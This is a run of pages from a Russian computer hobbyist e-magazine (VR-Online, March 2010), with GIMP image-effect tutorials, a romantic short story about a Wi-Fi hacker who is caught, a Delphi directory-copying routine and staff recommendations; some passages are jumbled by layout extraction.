Теперь мы удалим выделенную область, просто нажав клавишу Delete. Внимание! Если при этом вы не увидели картинки показанной ниже, а вместо этого выделенная область заполнилась белым цветом, это означает что у вас не включен канал прозрачности (Альфаканал). Просто выберите в меню Слой - Прозрачность - Добавить альфа-канал.

Уже

почти

увидеть, штрихов.

то,

что

остается Подберем

ожидалось несколько точнее

цвет

накладываемой фотографии через меню Цвет - Тон/Насыщенность. И изменим режим ее наложения на Объединение зерна. Ну вот и результат.

136


vr-online.ru

март 2010

Огонь в Gimp’е

Предисловие Это статья не моя, взял я ее с сайта: www.jraleigh.com Её я перевел с английского языка, так как это будет интересно и своего рода ответ ненавистникам Gimp’a, которые утверждают, что у Gimp’a очень мало фильтров...

Шаг 1

Первым делом ты запускаешь графический редактор Gimp. Создаешь новый холст (Файл >Создать...). Далее ставь те значения, что на рисунке ниже.

Рис. 1

Шаг 2

Мы заливаем черным цветом этот холст. Потом мы добавляем прозрачный слой(Слой > Создать слой...). Мы будем работать с прозрачным слоем... Далее мы открываем редактор градиентов.

137


vr-online.ru

март 2010

Выбираем из списка градиент ‘Flame’ (градиент в архиве, который ты устанавливаешь в папке gradients Gimp). У тебя должны быть заданы значения, как на рисунке. 2.

Рис. 2

Шаг 3

Теперь мы выполняем заливку, не забывая про активность прозрачного слоя...

Рис. 3 У тебя должно получиться так, как рис. 3.

138


vr-online.ru

март 2010

Шаг 4

Теперь будем применять плагин Интерактивное искажение (Фильтры > Искажения > Интерактивное искажение). Сделай так, как показано на рис. 4.

Рис. 4.

Шаг 5

Еще раз вызываем тот же эффект. Только отметьте пункт Вихрь CCW. Потом ты производишь хаотическое движение вправо вверх...

Шаг 6.

139


vr-online.ru

март 2010

Опять производим те же операции, описанные свыше, но в другую сторону.

Вот и все... Ты можешь полюбоваться на свою работу.

Выжигаем лазером...

В этой статье мы рассмотрим эффект, который будем пользоваться для выжигания лазером... Кстати, это не моя статья, она взята с http://bnksb.ucoz.ru/forum/14-140-1. Итак, поехали. Запускай Gimp. Открываем новый файл. Задаем следующие значения: Ширина – 800; Высота – 300. При помощи прямоугольного выделения выделяем наш холст. Потом мы раскрашиваем, используя «Градиент» и выбрав себе цвет по вкусу... У меня бирюзовый и светло-зеленый цвета. Заливаем кнопку сверху вниз, а можно с правого верхнего угла до нижнего левого угла. Тут дело вкуса... Потом мы через меню Выделение > Граница. Выставляем значение, равное 10. И еще раз заливаем градиентом, предварительно выбрав более темные цвета, чем предыдущие. Теперь мы продублируем этот слой, вызвав меню Слой > Продублировать слой. На слое «Фон» мы напишем, используя инструмент «Текст» (он изображен на палитре инструментов в виде буквы «А»), слово «VR-Online» и объединяем со слоем «Фон», вызвав меню Слой > Объединить с предыдущим. И то же самое происходит со слоем «Копия Фон», только впишем слово «крутой». А теперь наша работа почти окончена... Теперь мы переходим к интересному месту – выжигать лазером... Мы вызовем этот эффект через меню МенюФильтры-Анимация-Выжигание… Здесь я задал такие параметры. Ты можешь задать свои параметры и поэкспериментировать. Только не забудь, чтоб у тебя активным стоял слой «Копия Фон».

140


vr-online.ru

март 2010 Дождись, пока эффект применится к твоей работе. А потом ты запускаешь свою работу после применения эффекта «Выжигание» через меню Фильтры > Анимация > Воспроизведение... и все, твоя работа заигралась. Потом ты обязательно сохраняешь результат своей работы в формате .gif. (Главное меню, Файл > Сохранить как...).

Потом выдается запрос (смотри ниже). Ты сохраняешь свою работу как анимацию.

P.S. Если у тебя есть желание «наехать» на меня, то пожалуйста сделай это на форуме или напиши мне письмо.

141


vr-online.ru

март 2010 JimmyJonezz (ant.pet.koz@gmail.com)

Я искала тебя Точка доступа В этот день, я явно не хотел видеть солнце - его лучи испепеляли меня, и казалось, что я вот-вот растаю как пломбир, пролежавший на солнце, но настрой на этот день у меня был явно боевым, поэтому, превозмогая всякого рода неудобства, я шел к заветной цели. В рюкзаке иногда попискивал ноутбук, оповещая меня о том, что очередная точка доступа была мной удачно запеленгована и сохранена, для дальнейших издевательств с нею. День проходил бессмысленно, но продуктивно, если судить по количеству звуковых сигналов издаваемых моим ноутбуком. Я мотался по городу, наблюдал за прохожими, рассматривал дома, посещал торговые центры и супермаркеты, вглядывался во все то, что могло меня заинтересовать, но ничто не привлекало моего внимания, и я устав от такой прогулки, решил пойти в свою «тихую гавань». Это место я называл – «тихой гаванью», потому что здесь я действительно чувствовал спокойствие души и тела, казалось, я как весы, находил свое равновесие именно здесь. Этот парк утопал в зелени, деревья-великаны создавали атмосферу сказочности и таинственности этому месту. Оно не отличалось от остальных своей ухоженностью и чистотой, что собственно не особо мешало им наслаждаться. В парке много чего происходило со мной, столько воспоминаний, что перебирать их можно было бесконечное множество раз, и каждый раз удивляться их содержанию. Я достал свой ноутбук, и он радостно запиликал, словно приветствуя своего хозяина – найдена очередная «жертва» моих издевательств. Бегло просмотрев приличный список найденных мной открытых точек доступа, я уже было собрался лезть разгребать очередную порцию писем в свой почтовый ящик, как мое внимание привлекла именно последняя запись, которая мне, показалась более чем знакомой. Не долго думая, я принялся изучать ее более детально. После нескольких минут упорного добывания доступа, к учетной записи администратора, я откинулся назад и в уме начал просматривать варианты, которые бы мне помогли в добывании заветного ключика, к этому необычному и загадочному «замку». Дневная жара понемногу спадала, но солнце, также продолжало палить. На мгновение я зажмурил глаза от яркого света. Лучи солнца, пробивающиеся сквозь листья деревьев, были настолько, поосеннему, обжигающе, что вокруг, казалось, все испепелится, но это наоборот приносило некоторую блажь в мое состояние. Тихий и действительно осенний день - это по-настоящему, тот день, что я люблю. Атмосфера, окружающая меня, словно переполнена, некой дымкой, что заставляет иногда впадать в дрему. Сидя на скамейке, я наблюдал, как лучи солнца просачиваются сквозь крону деревьев, заслоняемые листьями. Ветер, небрежно поигрывал ими, и это создавало удивительной красоты игру света, которую ни с чем не сравнить. Само наблюдение за этим действом и само увиденное мной приводило меня в неописуемый восторг. Снова вернув себя на «землю», я принялся препарировать того, кто так упорно мне не поддавался. Через несколько минут, я уже предвкушал первые плоды, но как, оказалось, радоваться было рано. Учетные записи пользователей, добытые мной, особо ничего не давали, кроме ненужной документации, огромного количества схем и прочих иллюстраций, а также некоторого количества медиафайлов, среди которых я ничего хорошего для себя не нашел. Моей целью, по-прежнему, являлся доступ к административной панели, она того стоила – данная сеть принадлежала компании, к которой я давно присматривался.

Предыстория Все началось с того, что я влюбился. Настолько сильно, что порой страсть меня просто душила и

142


vr-online.ru

март 2010

прожигала изнутри. Эта была не просто страсть, а некий ураганный порыв, который сметал все на своем пути. Девушка, в которую я был влюблен, была не только хороша собой, но и как оказалось, в последствии наших встреч, отличалась остротой своего ума. Казалось, я должен был кричать от восторга, бить себя в грудь и гордится тем, что такая девушка именно со мной, но несовершенство присутствует во всем. Любая, на первый взгляд идеальная вещь, так или иначе, содержит в себе малый изъян, который в итоге все равно, на корню все испортит - ее работа. Она являлась ведущим экспертом в отделе информационной безопасности, одной из самых крупных компаний нашего города, и все информационные услуги в сфере безопасности сосредоточены именно у них. Впервые узнав об этом, я даже не знал, как мне стоило отреагировать на это. С одной стороны – безумно красивая девушка, да и еще эксперт в области информационной безопасности, а с другой – ярый противник хакеров, киберпреступников и тех для кого, в первую очередь, информация является общедоступным предметом. Она уверяла меня, что любая информация имеет ценность, и, попав третьим лицам, тем, кому совершенно не предназначалась, теряет свою актуальность и в следствии ценность. И эта точка зрения, меня, в некотором роде раздражала в ней. Можно сказать, что именно это, придавало такой большой интерес к ее персоне, я чувствовал себя как воздушный гимнаст балансирующий на тонкой веревке, без какой-либо страховки. Рядом с ней была опасность, но это мне даже нравилось. Чем больше я узнавал ее, тем больше она поражала меня своим умом, смекалкой и находчивостью, но в первую очередь для меня, она была женщиной, с которой я смотрел на мир по-другому, если это не касалось компьютерных технологий. В этой области мы были двумя противоборствующими сторонами. Мне нравилось наблюдать за нами, как шаг за шагом мы все ближе становились друг к другу. Доверие возрастало, и возможность видеть этот мир в одном направлении лишь усиливала связь между нами. Ощущалось притяжение, но страх замедлял этот процесс, и данное действие происходило более чем медленно. В какой-то мере это придавало большой шарм всей этой ситуации и определенно подогревало интерес друг к другу. Видимо, сказка, на этот раз, спустилась и в мой мир. Мы часто разговаривали с ней о том, как она с легкостью вылавливала шпионов, информационных бандитов, как она их любила называть или же киберпреступников, которых он на раз щелкала как орешки. Было немного забавным слышать все это от нее. Она очень хорошо знала свое дело, достаточно хорошо. Меня не мучила мысль, что я, в один прекрасный момент, тоже могу оказаться пойманным ею – я был ослеплен любовью. Мне было даже больно думать об этом, не хотелось бы, попав в такую ситуацию смотреть ей в глаза, видеть ее реакцию на происходящее и вообще знать, что я причинил ей боль. Я уже не помню, сколько месяцев мы были вместе, но все то время, проведенное с нею, было для меня бесценным. С одной стороны я был очень счастлив, что повстречал такую как она, и с другой стороны - я ненавидел себя, за то, что мной играл жуткий интерес по поводу выуживания у нее нужной мне информации, хотя особых усилий принимать мне не приходилось. Всем, что мне нужно, она делилась со мной, без всякого сомнения, и сожаления – она знакомила меня с новыми методами защиты, с известными только некоторому круг лиц, приемами отлова хакеров и информационных преступников. Она рассказывала обо всем этом, словно читала сказку, с выражением и расстановками, описывала все настолько подробно и тщательно, что любой бы на моем месте сошел с ума, от такого рода информации. Наше знакомство продолжалось не долго – однажды она просто исчезла, даже не попрощавшись и не дав мне ни малейшего намека на то, что это может произойти, но часть ее все еще оставалась со мной, спрятанная где-то глубоко в сердце.

Встреча Ветер закружил листья, и они вихрем понеслись ввысь. Затем, снова мягко опустились на землю. Я наслаждался этим действом, каждый раз ветер подхватывал листья и уносил прочь, то, швыряя их в сторону, то, вздымая вверх, или перекатывал по земле. Шорох желтых листьев самый приятный звук

143


vr-online.ru

март 2010

для моего слуха, так забавно слышать перекат сухих листьев и наблюдать за этим. Осень в этом году пришла очень рано, казалось, листья пожелтели моментально, или быть может я, просто проморгал этот момент. Каждый осенний день, является для меня чем-то особенным, чем-то более уникальным и запоминающимся. Поэтому, я старался запомнить каждый день, каждую минуту этих необыкновенных дней. Я обожал сидеть в этом парке, но на этот раз я пришел сюда один. В этот день было действительно спокойно, даже очень, отсутствовал шум транспорта, людей почти не было на улицах города. Я сидел на скамейке и перебирал эпизоды из своих воспоминаний, раз, за разом перематывая их и перелистывая заново. Все вокруг казалось мне таким сказочным, что мне даже не верилось о возможности это испытать здесь и сейчас. Я наблюдал за деревьями, за кустами, за тем, как ветер играл с листьями. Я уже забыл, про свои попытки, наконец, получить доступ к «учетке» администратора, какая-то странная грусть вдруг нахлынула на меня. Я закрыл крышку своего боевого друга и, продолжая наблюдать за всем, что меня окружало, погрузился в свои причудливые фантазии. - «Ты, как всегда, верен своим привычкам» - вдруг прозвучал нежный голос. - «Простите, что Вы сказали?» –спросил я, хотя понял, что она сказала. - «Андрей, ты не помнишь меня?» – улыбнувшись, спросила она, и присела со мной рядом. Я посмотрел на нее и улыбнулся. Мне вдруг показалось, что я ее знаю, всю вечность. Казалось, что мы чем-то похожи с ней, но у меня не было воспоминаний связанных с этой девушкой, по крайней мере, именно в эту минуту я не мог вытащить их на «поверхность». Я пытался вспомнить ее, вспомнить, кто она такая, но все мои воспоминания никак не сопоставлялись с ней. - «Что ж, мне немного обидно, что ты меня забыл, хотя я помнила тебя всегда и до сих пор люблю». Я дико смутился и хотел ответить, но слова вдруг смешались в один большой ком, который застрял у меня в горле. - «О, Боже мой…» – раздалось у меня внутри - «Это она - Катя. Катя, Катя, Катя». - «Должно быть ты удивлен, тем, что мы снова свиделись, поверь мне, я удивлена намного больше твоего» – продолжая улыбаться, молвила она. После этих слов, меня словно передернуло, я ощутил себя пойманным. Это чувство, никогда не было мне знакомым, но всегда преследовало меня и находилось рядом, а теперь я всеми фибрами своего теля ясно ощутил его в себе. Я начал оглядываться, по сторонам, и понял, что мне уже некуда деваться – за мной наблюдали, несколько человек, которые явно были готовы меня схватить. Может это разыгравшееся воображение, может мания преследования вышла на новый уровень и теперь еще больше давит на меня. - «Я дала тебе шанс, избежать всего этого, но ты по прежнему остался верен своим дурацким привычкам» – одернув за рукав, она посмотрела на меня - «Ты ведешь себя как мальчишка. Зачем ты растрачиваешь свой талант впустую? Я не думала, что это будешь ты… тот, кого мы так долго искали». Я продолжал молчать, словно насупившийся малыш, который поступил нехорошо и вот теперь готовится к наказанию. Мы некоторое время сидели молча, и вдруг я услышал тихие всхлипы – она заплакала. Мне хотелось успокоить ее, хотелось утешить, но я продолжал сидеть. Поднявшись, она вытерла слезы, и, поправив свое платье, взяла меня за руку и сказала: - «Пойдем. Нам нужно о многом поговорить. Я искала тебя».

144


vr-online.ru

март 2010

145


vr-online.ru

март 2010 Петрикин Андрей ака Zanuda25

Копирование директорий Эта статья – вторая часть предыдущей моей статьи. Тут было другое решение. Это решение я нашел, копаясь и разбираясь в бумажных архивах от своего студенческого периода.

Основная часть

Этот код успешно пахал в программе от Delphi 6. А вот, в других версиях, я не знаю – не проверял. Полный листинг моего кода: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation procedure CopyFolder(src, dest: string); var sts: Integer; SR: TSearchRec; begin sts:=FindFirst(src+’*.*’, faAnyFile, SR); while sts = 0 do begin if (SR.Name<>’.’)and(SR.Name <>’..’) then begin Application.ProcessMessages; if pos(‘.’, SR.Name)=0 then begin {$I-} MkDir(dest+ SR.Name); {$I+} CopyFolder(src+ SR.Name + ‘\’, dest+SR.Name+’\’); end else CopyFile(PChar(src+SR.Name), PChar(dest+SR.Name),True); end; sts:= FindNext(SR); end; FindClose(SR); end; {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin MkDir(edit3.Text+edit2.Text); CopyFolder(edit1.Text+’\’+edit2.Text+’\’,edit3.text+edit2.Text+’\’); end; end.

Послесловие

Извини, что я не даю комментарии, здесь тут и ежу ясно...

146


vr-online.ru

март 2010

147


vr-online.ru

wwwnet

март 2010

JimmyJonezz

Меня просто восхищают сервисы от компании Последняя программа, которая стала Google. Долгое время я скептически смотрел на это для меня must have – это STDU все “хозяйство” - слишком уж быстро происходило их Viewer. Скачать можно с этой страницы: http://www.stdutility. развитие, но разговоры шли и естественно мой интерес com/stduviewer.html. Утилита тоже возрастал. Хочу выделить 3 сервиса, которыми я очень предназначена для просмотра часто пользуюсь: Gmail (электронная почта), Reader (сервис, файлов в формате pdf, txt, позволяющий собрать в себе различные новостные каналы, djvu и прочих. Небольшая подписки, RSS-ленты и т.д.), Переводчик. Сюда еще можно и быстрая программа, на внести GoogleWave, но пока она не особо впечатляет. По поводу которую я променял Foxit электронной почты - Gmail, очень восхищает то, как вставлена Reader.

Lord_of_fear

реклама - незаметно, не отвлекает. Удобные настройки, понятный интерфейс, что в свою очередь очень повышает процент юзабильности данного сервиса. Очень кстати пристроена “Живая лента”, позволяющая узнавать о новых изменения пользователей, их обновлениях, читать их ленту. Опробовать сервисы от Google желаю всем.

Нравится ли тебе пустой город ранним утром часов эдак в 5 утра? А как насчет бодрящей пробежки минут на 30-40? Если ты подумал “Как было бы классно!”, то мы – родственные души :) Я обожаю утреннюю пробежку в самом начале дня. Заряжает бодростью и энергией на весь день. Я это сразу заметил по себе. После такой разминки я прихожу на работу в прекраснейшем креативном настроении и начинаю с удовольствием кодить или заниматься администрированием, не забыв, конечно же, заглянуть сначала на VR и в конфу :) Помимо увлечений кодингом, администрированием, спортом, музыкой, я так же являюсь киноманом. Причем, раньше иногда выступал в роли кинокритика. Я умею разделять то, что мне нравится и то, что гениально (Ну или, хотя бы, заслуживает внимания). К сожалению, мне не всегда нравится то, что снято хорошими режиссерами при участии таких же хороших актеров. :) С выбором фильма для просмотра в последнее время мне помогает отличный ресурс http://kinobaza.tv. Я реально прусь от возможности поиска фильмов на всех основных трекерах с классификацией по рейтингу, году, жанру, качеству видео и другим критериям. Линк на этот ресурс всегда стоит иметь в закладках браузера.

148


vr-online.ru

март 2010

zahod5277 В этом месяце я прусь от инди-жанров музыки и компьютерных игр. Я вообще люблю инди, но буквально недавно его начали ценить и уважать, а не относится к нему с пренебрежением. Инди это прежде всего оригинальность, неподчинение стереотипам, не зависящяя от коммерции идея. Сколько разных, поражающих и выносящих мозг игр появилось за последнии два года! Вы скажете “Программеры в игры не играют!”, а вы попробуйте? Буквально полчаса в день, для расслабления. Качните пару игр, например iFluid или Crayon Physics Deluxe. Ну или в гениальную с программерской стороны игру .kkrieger. Можете создать 3D шутер весом всего в 90 килобайт(!!!) ??? Весь секрет в том, что практически все в этой игре создается программно, по неким алгоритмам, заранее заготовленных моделей монстров или оружия нет! При этом уровень графики приличен, на уровне игр 2002-2003 годов. Ну или можно потратить полчаса и приобщится к музыкальному инди. Например, советую послушать группу Hadouken!, если вкратце, то ребята поют под 8bit музыку, необычно и мощно.

Spider_NET Alfenius Я целиком и полностью прусь от проекта VR-ONLINE, очень рад быть в кругу замечательных людей, которые помогут решить любую проблему. За все время проведения в net’е, только этот проект мне показался интересным! Спасибо всем, кто читает этот журнал!

Я счастлив, когда захожу на современный VROnline. Этот проект действительно преобразился и задышал новой жизнью. От этого я испытываю реальный кайф. На VR-Online я тусуюсь уже восемь лет и наблюдал несколько его перерождений и клинических смертей. VR – умирал, его безжалостно хакали, с него бежали пользователи, но всеравно VR возвращался к жизни. Могу с уверенностью сказать – это неуязвимый проект. Когда все плохо и кажется, что лучше не станет – появляются люди, которые вселяют в остальных энтузиазм, на основе которого VR воскресает. От этого я просто пищу и прыгаю до потолка!!! Сейчас сайт выглядит действительно достойно и что самое главное есть идеи для дальнейшего развития. Мозги всего vr-community постоянно генерируют новые идеи и сам процесс креатива подталкивает на активные действия. Пусть это будет продолжаться всегда! Вечной жизни тебе VR!

149


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.